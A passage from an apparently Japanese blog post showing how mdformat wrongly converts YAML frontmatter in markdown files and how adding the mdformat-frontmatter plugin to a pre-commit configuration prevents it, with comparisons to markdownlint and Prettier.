image: application/inkscape/images/inkscape.png
---

# Inkscape tips
```

## 変換後(意図しない変換)

```md
______________________________________________________________________

## description: Inkscape tips image: application/inkscape/images/inkscape.png

# Inkscape tips
```

# 解決方法

`poetry`または、`pip`で`mdformat-frontmatter`をインストールし、`.pre-commit-config.yaml`に設定します。[^2] [^3]

これで`pre-commit`で`mdformat`実行時に変換されなくなります。[^4]

```.pre-commit-config.yaml
  - repo: https://github.com/executablebooks/mdformat
    rev: 0.7.16
    hooks:
      - id: mdformat
        additional_dependencies:
          - mdformat-admon
          - mdformat-footnote
          - mdformat-frontmatter # 追加
```

# その他補足

他のフォーマッタとの比較として、多くの方はVSCodeの拡張機能を使用されていると思いますが、markdownlintでは[MD25](https://github.com/DavidAnson/markdownlint/blob/main/doc/Rules.md#md025---multiple-top-level-headings-in-the-same-document)で変換対象にはならないようにルール化されており変換はされません。Prettierでも[#4773](https://prettier.io/blog/2018/07/29/1.14.0.html#front-matter)でサポートされています。

# まとめ

mdformatでYAML Frontmatterで作成されたmarkdownファイルが変換される現象と回避方法を紹介しました。

mdformatは他のフォーマッタと比較して本件や[mkdocs(Admonitions)](https://7rikazhexde-techlog.hatenablog.com/entry/2023/08/13/003330)のような現象があるのですが、プラグインは開発されており、pre-commitでフォーマットまで実行できるので、pythonでpre-commitを使用されている方にはmdformatを利用するのはありだとおもいます。[^5]

本記事がどなたかの参考になれば幸いです。

以上です。

[^1]: Frontmatterの詳細はJekyllの記事を参照ください。
https://jekyllrb-ja.github.io/docs/step-by-step/03-front-matter/

[^2]: mdformat-frontmatterはmdformatプラグインですが、[プラグインはpre-commit hookで使用する前提](https://mdformat.readthedocs.io/en/stable/contributors/contributing.html#contributing)のため.pre-commit-config.yamlに追加します。

[^3]: pre-commitでの使用方法
https://mdformat.readthedocs.io/en/stable/users/installation_and_usage.html#usage-as-a-pre-commit-hook

[^4]: poetry run mdformat [ファイル名]では変換されるので注意してください。pre-commitのみサポートしています。

[^5]: 弊環境ではVScodeの機能拡張でmarkdownlitも利用しており、pre-commitでは[markdownlintフック](https://github.com/jumanjihouse/pre-commit-hooks#markdownlint)も開発されています。個人的には環境は統一したほうがいいかと思っています。今のところフォーマットの競合などの問題はないですが、markdownlintフックと比較し、導入検討はしたいと思っています。(2023-09-23: [markdownlintフックの調査記事](https://7rikazhexde-techlog.hatenablog.com/entry/2023/09/23/172800)をブログに投稿しました。)